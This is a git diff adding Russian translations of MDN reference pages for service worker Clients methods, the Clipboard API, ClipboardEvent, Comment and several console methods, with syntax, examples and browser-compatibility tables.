После регистрации сервис-воркера страницы не начнут использовать его, пока не загрузятся вновь. Метод claim() позволяет установить контроль над страницами немедленно. Имейте в виду, что в этом случае ваш сервис-воркер будет контролировать все загружаемые по сети страницы этого origin, в т. ч. из других сервис-воркеров.

+ +

Синтаксис

+ +
await clients.claim();
+
+ +

Параметры

+ +

Нет.

+ +

Результат

+ +

Promise с undefined.

+ +

Пример

+ +

В примере ниже внутри обработчика события "activate" сервис-воркера используется метод claim(), что позволяет клиентской странице, загруженной в той же области видимости, обходиться без перезагрузки для использования сервис-воркером.

+ +
self.addEventListener('activate', event => {
+  event.waitUntil(clients.claim());
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#clients', 'Clients')}}{{Spec2('Service Workers')}}Initial definition. It is still under development (see issue 414 and issue 423).
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

Смотри также

+ + diff --git a/files/ru/web/api/clients/index.html b/files/ru/web/api/clients/index.html new file mode 100644 index 0000000000..5372df8139 --- /dev/null +++ b/files/ru/web/api/clients/index.html @@ -0,0 +1,128 @@ +--- +title: Clients +slug: Web/API/Clients +tags: + - API + - Clients + - Experimental + - Expérimental(2) + - Interface + - NeedsTranslation + - Reference + - Référence(2) + - Service Workers + - ServiceWorker + - TopicStub + - Workers +translation_of: Web/API/Clients +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

Интерфейс Clients Service Workers API представляет собой контейнер со списком объектов {{domxref("Client")}}.

+ +

Методы

+ +
+
{{domxref("Clients.get()")}}
+
Получает клиента сервис воркера, соответствующего данному id, и возвращает его в {{jsxref("Promise")}}.
+
{{domxref("Clients.matchAll()")}}
+
Получает список клиентов сервис воркера и возвращает их в {{jsxref("Promise")}}. Включает параметр options для возврата всех клиентов сервис воркера, чьи источники являются теми же источниками, что и у связанного источника сервис воркера. Если options не включены, метод возвращает только тех клиентов сервис воркера, которых тот контролирует. 
+
{{domxref("Clients.openWindow()")}}
+
Открывает {{domxref("Client")}} сервис воркера в новом окне браузера.
+
{{domxref("Clients.claim()")}}
+
Позволяет активному Сервис Воркеру установить себя, как активного воркера для клиентской страницы, когда воркер и страница находятся в одной области. 
+
+ +

Примеры

+ +
clients.matchAll(options).then(function(clients) {
+  for (i = 0 ; i < clients.length ; i++) {
+    if (clients[i] === 'index.html') {
+      clients.openWindow(clients[i]);
+      // или сделать что-то другое, с учетом подошедшего клиента
+    }
+  }
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#clients', 'Clients')}}{{Spec2('Service Workers')}}Initial definition
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

[1] Service workers (и Push) были отключены в Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html new file mode 100644 index 0000000000..64d67ce7ca --- /dev/null +++ b/files/ru/web/api/clients/openwindow/index.html @@ -0,0 +1,91 @@ +--- +title: Clients.openWindow() +slug: Web/API/Clients/openWindow +tags: + - API + - Clients + - Experimental + - Method + - Reference + - Service Workers + - ServiceWorker + - openWindow +translation_of: Web/API/Clients/openWindow +--- +
{{APIRef("Service Workers API")}}
+ +

Метод openWindow() интерфейса {{domxref("Clients")}} создает новый контекст просмотра верхнего уровня и загружает заданный URL. Если вызывающий скрипт не имеет разрешения на отображение всплывающих окон, openWindow() выдаст InvalidAccessError.

+ +

В Firefox этому методу разрешено отображать всплывающие окна только при вызове события клике по уведомлению.

+ +

В Chrome для Android этот метод может открыть URL-адрес в существующем контексте просмотра, предоставляемым автономным веб-приложением (standalone web app), ранее добавленным на главный экран пользователя. С недавнего времени это также работает в Chrome для Windows.

+ +

Синтаксис

+ +
self.clients.openWindow(url).then(function(windowClient) {
+  // Do something with your WindowClient
+});
+ +

Параметры

+ +
+
url
+
{{domxref("USVString")}} - URL-адрес клиента, который вы хотите открыть. Обычно это значение должно быть URL из того же источника, что и вызывающий скрипт.
+
+ +

Возвращаемое значение

+ +
+
{{jsxref("Promise")}}, который преобразуется в объект {{domxref("WindowClient")}}, если URL-адрес исходит из того же источника, что и сервис-воркер, иначе {{Glossary("null", "null value")}} .
+
+ +

Примеры

+ +
// Отправить уведомление в OS, если возможно
+if (self.Notification.permission === 'granted') {
+  const notificationObject = {
+    body: 'Click here to view your messages.',
+    data: { url: self.location.origin + '/some/path' },
+    // data: { url: 'http://example.com' },
+  };
+  self.registration.showNotification('You\'ve got messages!', notificationObject);
+}
+
+// Слушатель события клика по уведомлению
+self.addEventListener('notificationclick', e => {
+  // Закрываем всплывающее окно с уведомлением
+  e.notification.close();
+  // Получите все клиенты Windows
+  e.waitUntil(clients.matchAll({ type: 'window' }).then(clientsArr => {
+    // Если вкладка, соответствующая целевому URL-адресу, уже существует, сфокусируйтесь на ней;
+    const hadWindowToFocus = clientsArr.some(windowClient => windowClient.url === e.notification.data.url ? (windowClient.focus(), true) : false);
+    // В противном случае откройте новую вкладку для соответствующего URL-адреса и сфокусируйте ее.
+    if (!hadWindowToFocus) clients.openWindow(e.notification.data.url).then(windowClient => windowClient ? windowClient.focus() : null);
+  }));
+});
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients-openwindow', 'Clients: openWindow')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузером

+ +
+ + +

{{Compat("api.Clients.openWindow")}}

+
diff --git a/files/ru/web/api/clipboard_api/index.html b/files/ru/web/api/clipboard_api/index.html new file mode 100644 index 0000000000..3f31bfe692 --- /dev/null +++ b/files/ru/web/api/clipboard_api/index.html @@ -0,0 +1,95 @@ +--- +title: Clipboard API +slug: Web/API/Clipboard_API +tags: + - API + - Async Clipboard API + - Clipboard + - Clipboard API + - Clipboard Event API + - ClipboardEvent + - ClipboardItem + - Cut + - Landing + - Reference + - copy + - paste +translation_of: Web/API/Clipboard_API +--- +
{{DefaultAPISidebar("Clipboard API")}}
+ +
+ +
Clipboard API предоставляет возможность реагировать на команды буфера обмена (вырезать, копировать и вставить), а также выполнять асинхронные чтение/запись в системный буфер обмена. Доступ к содержимому буфера обмена осуществляется через Permissions API: clipboard-write (разрешение на запись) в буфер обмена автоматически предоставляется страницам, когда они находятся на активной вкладке. Для clipboard-read (чтение из буфера обмена) должно быть запрошено разрешение пользователя. Можно сделать запрос на разрешение, попытавшись прочитать данные из буфера обмена.
+ +
+ +

API предназначен для доступа к буферу обмена, используя {{domxref("document.execCommand()")}}.

+ +

Доступ к буферу обмена

+ +

Вместо создания объекта буфера посредством инициализации экземпляра, вы получаете доступ к системному буферу обмена через глобальный {{domxref("Navigator.clipboard")}}:

+ +
navigator.clipboard.readText().then(
+  clipText => document.querySelector(".editor").innerText += clipText);
+ +

Этот фрагмент извлекает текст из буфера обмена и добавляет его к первому элементу, найденному с помощью editor (редактора) классов. Этот код безопасен, поскольку {{domxref("Clipboard.readText", "readText()")}} (и {{domxref("Clipboard.read", "read()")}}, если на то пошло) возвращает пустую строку, если в буфере обмена нет текста.

+ +

Интерфейсы

+ +
+
{{domxref("Clipboard")}} {{securecontext_inline}}
+
Предоставляет интерфейс для чтения/записи текста и данных в системный буфер обмена. В спецификации называется 'Async Clipboard API (API асинхронного буфера обмена)'.
+
{{domxref("ClipboardEvent")}} {{securecontext_inline}}
+
Представляет события, содержащие информацию, относящуюся к модификации буфера обмена, а именно {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}} и {{domxref("Element/paste_event", "paste")}} события. В спецификации называется 'Clipboard Event API (API событий буфера обмена)'.
+
{{domxref("ClipboardItem")}} {{securecontext_inline}}
+
Представляет единый формат элемента, используемый при чтении или записи данных.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Clipboard API')}}{{Spec2('Clipboard API')}}Первоначальное определение.
+ +

Совместимость с браузером

+ +

Clipboard

+ +
+ + +

{{Compat("api.Clipboard")}}

+ +

ClipboardEvent

+ + + +

{{Compat("api.ClipboardEvent")}}

+ +

ClipboardItem

+ + + +

{{Compat("api.ClipboardItem")}}

+ +

Смотрите также

+ + +
diff --git a/files/ru/web/api/clipboardevent/index.html b/files/ru/web/api/clipboardevent/index.html new file mode 100644 index 0000000000..cf2d83a50f --- /dev/null +++ b/files/ru/web/api/clipboardevent/index.html @@ -0,0 +1,132 @@ +--- +title: ClipboardEvent +slug: Web/API/ClipboardEvent +tags: + - API + - Clipboard API + - Event + - Experimental + - Interface + - Буфер обмена +translation_of: Web/API/ClipboardEvent +--- +

{{APIRef("Clipboard API")}} {{SeeCompatTable}}

+ +

Интерфейс ClipboardEvent предствляет события, предоставляющие информацию,  связанную с изменением буфера обмена, этими события являются {{event("cut")}}, {{event("copy")}} и {{event("paste")}}.

+ +

Свойства

+ +

Интерфейс наследует свойства от родителя {{domxref("Event")}}.

+ +
+
{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}
+
Является {{domxref("DataTransfer")}} объектом, который содержит данные, полученные от совершения пользователем операции {{event("cut")}}, {{event("copy")}} или {{event("paste")}}, а также их MIME тип.
+
+ +

Конструктор

+ +
+
{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}
+
Создает ClipboardEvent событие с переданными параметрами.
+
+ +

Методы

+ +

Нет специальных методов; Этот интерфейс наследует методы от своего родителя {{domxref("Event")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}{{ Spec2('Clipboard API') }}Начальное определение.
+ +

Совместимость браузеров

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}4.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
clipboardData{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22.0")}}5.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}4.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
clipboardData{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22.0")}}5.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/comment/index.html b/files/ru/web/api/comment/index.html new file mode 100644 index 0000000000..1f5be83365 --- /dev/null +++ b/files/ru/web/api/comment/index.html @@ -0,0 +1,69 @@ +--- +title: Comment +slug: Web/API/Comment +tags: + - Комментарии +translation_of: Web/API/Comment +--- +

Интерфейс Comment представляет собой текстовые записи в разметке; хотя, в основном, они не отображаются, такие комментарии доступны для чтения в исходном коде. Комментарии  представляются в  HTML и XML как контент, заключенный между  '<!--' и '-->'. В XML, последовательность символов '--' может не использоваться в комментариях.

+ +

{{InheritanceDiagram}}

+ +

Свойства

+ +

У этого интерфейса нет конкретных свойств, но он наследует свойства родителя {{domxref("CharacterData")}}, и частично {{domxref("Node")}}.

+ +

Конструктор

+ +
+
{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}
+
Возвращает объект Comment с параметрами в качестве его текстового содержимого.
+
+ +

Методы

+ +

У этого интерфейса нет конкретных методов, но он наследует методы родителя {{domxref("CharacterData")}}, и частично {{domxref("Node")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#comment', 'Comment')}}{{Spec2('DOM WHATWG')}}Добавлен конструктор
{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM3 Core')}}Нет изменений по сравнению с {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM2 Core')}}Нет изменений по сравнению с {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM1')}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Comment")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/assert/index.html b/files/ru/web/api/console/assert/index.html new file mode 100644 index 0000000000..1ca29fa5f7 --- /dev/null +++ b/files/ru/web/api/console/assert/index.html @@ -0,0 +1,112 @@ +--- +title: console.assert() +slug: Web/API/Console/assert +tags: + - API + - Debugging + - console + - web console + - Отладка +translation_of: Web/API/console/assert +--- +
{{APIRef("Console API")}}{{Non-standard_Header}}
+ +

Метод console.assert() записывает сообщение об ошибке в консоль в случае, если утверждение ложно. Если утверждение истинно - ничего не происходит.

+ +

{{AvailableInWorkers}}

+ +
+

Важно: Реализация метода console.assert() в браузере и Node.js отличается.

+ +

В браузере, вызов console.assert() с ложным утверждением вызовет печать ошибки в консоль без прерывания текущего выполнения скрипта, а в Node.js в аналогичном случае будет выброшена ошибка - AssertionError.

+
+ +

Синтаксис

+ +
console.assert(assertion, obj1 [, obj2, ..., objN]);
+console.assert(assertion, msg [, subst1, ..., substN]); // си-подобное форматирование строк
+
+ +

Параметры

+ +
+
assertion
+
Любое логическое утверждение. Если утверждение ложно - сообщение об ошибке записывается в консоль.
+
obj1 ... objN
+
Список JavaScript объектов для вывода. Строковое представление этих объектов добавляются в порядке, указанном в списке, и выводятся.
+
msg
+
Строка JavaScript, содержащая ноль или более строк подстановки.
+
subst1 ... substN
+
Объекты JavaScript, которыми нужно заменить строки подстановки в рамках параметра msg. Этот параметр даёт дополнительный контроль над форматированием вывода.
+
+ +

Примеры

+ +

В следующем примере кода демонстрируется использование объекта JavaScript после утверждения:

+ +
const errorMsg = '# не чётное число';
+for (let number = 2; number <= 5; number += 1) {
+    console.log('# равно ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // или, при использовании {{jsxref("Operators/Object_initializer", "сокращения имён свойств в ECMAScript 2015", "Новая_нотация_в_ECMAScript_2015")}}:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// # равно 2
+// # равно 3
+// Assertion failed: {number: 3, errorMsg: "# не чётное число"}
+// # равно 4
+// # равно 5
+// Assertion failed: {number: 5, errorMsg: "# не чётное число"}
+
+ +

Обратите внимание, что хотя строка, содержащая строку подстановки, работает как параметр для console.log в Node и многих, если не большинстве, браузерах...

+ +
console.log('слово %s', 'foo');
+// output: слово foo
+
+ +

...использование такой строки в настоящее время не работает в качестве параметра для console.assert во всех браузерах:

+ +
console.assert(false, 'слово %s', 'foo');
+// корректный вывод в Node.js и некоторых браузерах
+//     (например Firefox v60.0.2):
+// Assertion failed: слово foo
+// некорректный вывод в некоторых браузерах
+//     (например Chrome v67.0.3396.87):
+// Assertion failed: слово %s foo
+ +

Смотрите также Вывод текста в консоль в документации {{domxref("console")}} для более детальной информации.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName("Console API", "#consoleassertexpression-object", "console.assert()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Console.assert")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/clear/index.html b/files/ru/web/api/console/clear/index.html new file mode 100644 index 0000000000..b86317d69a --- /dev/null +++ b/files/ru/web/api/console/clear/index.html @@ -0,0 +1,53 @@ +--- +title: clear() +slug: Web/API/Console/clear +tags: + - API + - консоль +translation_of: Web/API/Console/clear +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

Очищает консоль.

+ +

Содержимое консоли заменяется на информационное сообщение, которое может быть следующим: "Консоль очищена".

+ +

Заметка для Google Chrome, от функции console.clear() не будет никакого эффекта, если у пользователя установлена надстройка "Preserve log upon navigation" в настройках.

+ +

Синтаксис

+ +
console.clear();
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
ХарактеристикаСтатусКомментарий
{{SpecName("Console API", "#consoleclear", "console.clear()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Console.clear")}}

+ +
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/count/index.html b/files/ru/web/api/console/count/index.html new file mode 100644 index 0000000000..c91f2fffe9 --- /dev/null +++ b/files/ru/web/api/console/count/index.html @@ -0,0 +1,170 @@ +--- +title: Console.count() +slug: Web/API/Console/count +translation_of: Web/API/Console/count +--- +
{{APIRef("Console API")}}
+ +
Выводит число, равное тому, сколько раз была вызвана конкретная функция count(). Эта функция также принимает необязательный аргумент label.
+ +

{{AvailableInWorkers}}

+ +

Если label передается в функцию, то она выводит число вызовов функции count() с такой же точно label.

+ +

Если label опущена, то функция выводит такое число, сколько раз была вызвана функция count() в этой отдельной строке.

+ +

Например, при таком коде:

+ +
var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+ +

В консоль выведется:

+ +
"<no label>: 1"
+"<no label>: 2"
+"<no label>: 3"
+"<no label>: 1"
+
+ +

 

+ +

Обратите внимание на итоговую строку вывода журнала: отдельный вызов count () в строке 11 рассматривается как независимое событие.

+ +

Если мы передадим переменную user в качестве аргумента label при первом вызове функции count(), aи строку "alice" при втором:

+ +
var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");
+ +

На выходе мы увидим:

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"
+ +

Таким образом мы сохранили различные счетчики основываясь только на значении label. Поскольку строка  "alice"  в строке 11 совпала со значением user дважды, это не сочлось отдельным событием.

+ +

Синтаксис

+ +
console.count([label]);
+
+ +

Параметры

+ +
+
label
+
Строка. Если она передается, count() выводит такое число, которое сообветсвует количеству  раз вызова данной функции с таким же точно label.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#count", "console.count()")}}{{Spec2("Console API")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/console/countreset/index.html b/files/ru/web/api/console/countreset/index.html new file mode 100644 index 0000000000..b5bdb7e3b8 --- /dev/null +++ b/files/ru/web/api/console/countreset/index.html @@ -0,0 +1,130 @@ +--- +title: Console.countReset() +slug: Web/API/Console/countReset +translation_of: Web/API/Console/countReset +--- +
{{APIRef("Console API")}}
+ +

Сбрасывает значение счетчика. Эта функция также принимает необязательный аргумент label.

+ +

{{AvailableInWorkers}}

+ +

Если аргумент label передан, то функция сбросит счетчик связанный с этим аргументом.

+ +

Если значение label опущено, то функция сбросит счетчик, заданый по умолчанию.

+ +

Синтаксис

+ +
console.countReset([label]);
+
+ +

Параметры

+ +
+
label
+
Строка.
+ Если аргумент label был передан, countReset() сбросит к 0 счетчик для этого label.
+ Если нет, count() сбросит к 0 счетчик, заданый по умолчанию.
+
+ +

Возвращаемое значение

+ +

Если аргумент label был передан:

+ +
 counter-name: 0
+ +

Если аргумент label не был определен:

+ +
default: 0
+ +

Исключения

+ +

Если аргумент label был передан, но такого счетчика не существует countReset вернет предупреждение:

+ +
Counter "counter-name" doesn’t exist.
+ +

Если аргумент label не был передан и count() не был вызван ранее, countReset вернет предупреждение:

+ +
Counter "default" doesn’t exist.
+ +

Примеры

+ +

Например, при таком коде:

+ +
var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();
+ +

Вывод консоли будет примерно таким:

+ +
"default: 1"
+"default: 2"
+"default: 3"
+"default: 1"
+"default: 0"
+
+ +

Заметьте, что вызов console.counterReset() сбросил до 0 значение счетчика заданного по умолчанию.

+ +

Если мы присвоим переменную user как арумент label при первом вызове count(), и строку "alice" при втором:

+ +
var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");
+ +

Вывод будет примерно таким:

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"
+ +

Сброс счетчика "bob" изменил значение только этого счетчика. Значение счетчика "alice" осталось неизменно.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#count", "console.countReset()")}}{{Spec2("Console API")}}Initial definition
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Console.countReset")}}

diff --git a/files/ru/web/api/console/debug/index.html b/files/ru/web/api/console/debug/index.html new file mode 100644 index 0000000000..4bd3892b8d --- /dev/null +++ b/files/ru/web/api/console/debug/index.html @@ -0,0 +1,56 @@ +--- +title: Console.debug() +slug: Web/API/Console/debug +translation_of: Web/API/Console/debug +--- +
{{APIRef("Console API")}}
+ +

Выводит сообщение в веб.консоль Сообщение отображается только если консоль настроена на показ сообщений уровня отладки.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.debug(obj1 [, obj2, ..., objN]);
+console.debug(msg [, subst1, ..., substN]);
+
+ +

Параметры

+ +
+
obj1 ... objN
+
Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся. 
+
msg
+
Строка JavaScript, содержащая 0 и более подстановочных символов для замены (см. subst1 ... substN).
+
subst1 ... substN
+
JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в msg. Это даст вам дополнительный контроль над форматом вывода. (см. {{SectionOnPage("/ru/docs/Web/API/Console", "Преобразование строк с использованием масок")}}).
+
+ +

Читайте Вывод текста в консоль в документаци {{domxref("console")}} для получения дополнительной информации.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#debug", "console.debug()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.Console.debug")}}

+
diff --git a/files/ru/web/api/console/dir/index.html b/files/ru/web/api/console/dir/index.html new file mode 100644 index 0000000000..e710d4cd72 --- /dev/null +++ b/files/ru/web/api/console/dir/index.html @@ -0,0 +1,91 @@ +--- +title: Console.dir() +slug: Web/API/Console/dir +tags: + - API + - DOM + - Веб-консоль +translation_of: Web/API/Console/dir +--- +

{{ APIRef("Console API") }}{{Non-standard_header}}

+ +

Описание

+ +

Отображает список свойств указанного JavaScript объекта. Вывод представлен в виде иерархического списка с  возможностью просмотра содержимого дочерних объектов.

+ +

Console.dir это способ посмотреть в консоли свойства заданного javascript объекта.

+ +

console-dir.png

+ +

Синтаксис

+ +
console.dir(object);
+
+ +

Параметры

+ +
+
object
+
JavaScript-объект свойства которого нужно вывести.
+
+ +

Спецификация

+ +

Console Object API

+ +

Совместимость браузеров

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Поддержка{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("8.0") }}9{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile("8.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/dirxml/index.html b/files/ru/web/api/console/dirxml/index.html new file mode 100644 index 0000000000..02856c1dc8 --- /dev/null +++ b/files/ru/web/api/console/dirxml/index.html @@ -0,0 +1,57 @@ +--- +title: Console.dirxml() +slug: Web/API/Console/dirxml +translation_of: Web/API/Console/dirxml +--- +
{{APIRef("Console API")}}
+ +

Отображает интерактивное дерево из дочерних элементов указанного XML / HTML элемента. Если невозможно отобразить как элемент, то вместо этого отображается представление объекта JavaScript. Выходные данные представлены в виде иерархического списка расширяемых узлов, которые позволяют вам видеть содержимое дочерних узлов.

+ +

+ +

+ +

Синтакис

+ +
console.dirxml(object);
+
+ +

Параметры

+ +
+
object
+
+

Объект JavaScript свойства которого будут отображены.

+
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
ХарактеристикаСтатусКомментарий
{{SpecName("Console API", "#dirxml", "console.dirxml()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Console.dirxml")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/error/index.html b/files/ru/web/api/console/error/index.html new file mode 100644 index 0000000000..419e2637ba --- /dev/null +++ b/files/ru/web/api/console/error/index.html @@ -0,0 +1,170 @@ +--- +title: console.error() +slug: Web/API/Console/error +translation_of: Web/API/Console/error +--- +
{{APIRef("Console API")}}
+ +

Выводит сообщение об ошибке в веб-консоль.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.error(obj1 [, obj2, ..., objN]);
+console.error(msg [, subst1, ..., substN]);
+console.exception(obj1 [, obj2, ..., objN]);
+console.exception(msg [, subst1, ..., substN]);
+
+ +
+

Примечание: console.exception() -- это псевдоним для console.error(); они функционально идентичны.

+
+ +

Параметры

+ +
+
obj1 ... objN
+
Список объектов JavaScript для вывода. Строковое представление каждого из этих объектов объединяются в указанном порядке и выводятся.
+
msg
+
Строка JavaScript, содержащая 0 или более подстановочных символов для замены.
+
subst1 ... substN
+
Объекты JavaScript, с помощью которых произойдёт замена символов в msg. Это предоставляет дополнительный контроль над форматом вывода.
+
+ +

Смотрите раздел Вывод текста в консоль в документации {{domxref("console")}} для подробностей.

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Console API", "#error", "console.error()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}8{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Маски подстановки{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Псевдоним console.exception{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Доступно в Workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
